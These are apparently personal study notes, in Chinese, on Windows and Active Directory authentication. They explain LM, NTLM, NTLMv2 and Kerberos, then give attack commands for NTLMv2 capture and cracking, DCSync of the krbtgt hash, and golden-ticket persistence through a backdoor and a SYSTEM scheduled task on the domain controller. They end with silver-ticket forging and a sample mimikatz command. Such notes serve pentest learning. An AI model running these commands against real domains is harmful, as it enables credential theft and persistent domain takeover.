本地环境用户信息存储在%systemroot%/system32/SAM
域环境用户信息存储在ntds.dit
本地认证
windows系统下哈希结构:username:RID:LM-HASH:NT-HASH
LM哈希
算法:
转大写,转二进制,补0补足14字节
二分获得两段字串,每一段都做以下处理:
每7位插入一个0
最终获得16字节的字串,转为十六进制
最终获得两个16字节的十六进制字符串
KGS!@#$%转十六进制作为明文,使用第一个字串作为密钥加密,获得密文
再用以上密文作为明文,使用第二个字串作为密钥加密,获得密文,此密文即为lm hash
NTLM哈希
算法:转十六进制,转unicode格式,md4加密获得32位十六进制字串即为NTLM hash
网络认证
基于挑战响应认证的NTLM协议
协商、质询、验证
协商:a发送username给b
质询:
若b有username这名用户,随机生成名称为challenge的字符串与username的ntlm哈希加密得到结果challenge1,存储在本地
b将challenge字符串发送给a,a将challenge与password计算得来的ntlm哈希加密,作为response发送给b
验证:若a发送的response与b本地保存的challenge1结果相同,则验证成功。
NTLMv2
网络认证使用NTLMv2
格式 username::domain:challange:HMAC-MD5:blob
HMAC-MD5 -> NTPproofStr
blob -> response字符串去掉NTProofStr
对应值在流量包中查看
hashcat -m 5600 解密的NTLMv2的值 字典 --force 实现暴力破解密码,5600指代NTLMv2类型
powertshell 管理员使用inveigh抓取网络认证过程中的NTLMv2
Kerberos
KDC包含AS、TGS
client向AS发起明文请求(内容包括client的name、ip、时间戳)
AS接收请求,通过AS的验证,向client发放TGT(内容有client的name和ip、ServerIP,TGS Name、时间戳、CT_SK,整体被TGS密码加密)、client可以知道的内容(时间戳、TGS Name、时间戳、CT_SK,整体被client密码加密)
client将TGT和client必要信息(client的name、ip、时间戳,整体被CT_SK加密)交付给TGS
TGS使用TGS密码解密TGT,获得CT_SK,从而使用CT_SK查看client的信息,将TGT与client信息做验证
验证成功后,TGS发放ST(client的name和ip、serverip、时间戳、ST有效时间、CS_SK,整体被server密码加密)、client可以知道的内容(时间戳、ST有效时间、CS_SK,整体被CT_SK加密)给client
client将ST、client必要信息(name、ip、时间戳、ST有效时间,整体被CS_SK加密)交付给server,
server使用ST里的CS_SK解密client必要信息,将ST与client必要信息进行验证
验证成功则实现client、server互相信任
黄金票据
TGT由krbtgt的ntlm hash加密
获取krbtgt的ntlm hash,伪造TGT,越过AS验证
维权
前提条件
1.有dc的域名、域sid、krbtgt的ntlm哈希,且krbtgt密码未更改
net config workstation 获取域名
nltest /dclist:域名 获取域控名称
whoami /user 获取用户sid,最后一段数字去掉就是域sid
lsadump::dcsync /domain:test.com /user:krbtgt 获取krbtgt的ntlm哈希
2.有域内其他机器权限
操作
mimikatsz kerberos::purge 清理原有票据
mimikatsz kerberos::tgt 查票
1.mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希
2.在域内其他机器上制作黄金票据(dc的域名、域sid、krbtgt的ntlm哈希)
3.将后门文件copy到域控
shell copy 后门程序在被控机器的位置 \\域控域名\文件位置
4.设置计划任务
shell schtasks /create /s dc域名 /tn 计划任务名字 /sc onstart /tr 执行文件位置 /ru system /f
5.执行计划任务
shell schtasks /run /s dc域名 /i /tn 计划任务名字
白银票据
获取服务的ntlm哈希,伪造ST
mimikatsz kerberos::purge 清理原有票据
shell klist purge 清理原有票据
mimikatz sekurlsa::logonpasswords 获取服务账号的ntlm哈希
mimikatz kerberos::golden /domain:域名 /sid:域sid /target 域控 /service:要伪造的服务 /rc4:要伪造的服务的ntlm哈希 /user:伪造的用户名 /ptt
ldap 可以使用mimikatz lsadump::dcsync /dc:域控 /domain:域名 /user:krbtgt 获取krbtgt的ntlm哈希 然后获取黄金票据
cifs 使用dir查看或拷贝文件
host 可以设置、执行计划任务
mimikatz kerberos::golden /domain:dc.study.com /sid:S-1-5-21-3882865070-3794351248-2220759032 /target:dc.study.com /service:HOST /rc4:88f5b1e63d401d17cc81720a39fd66e5 /user:opop /ptt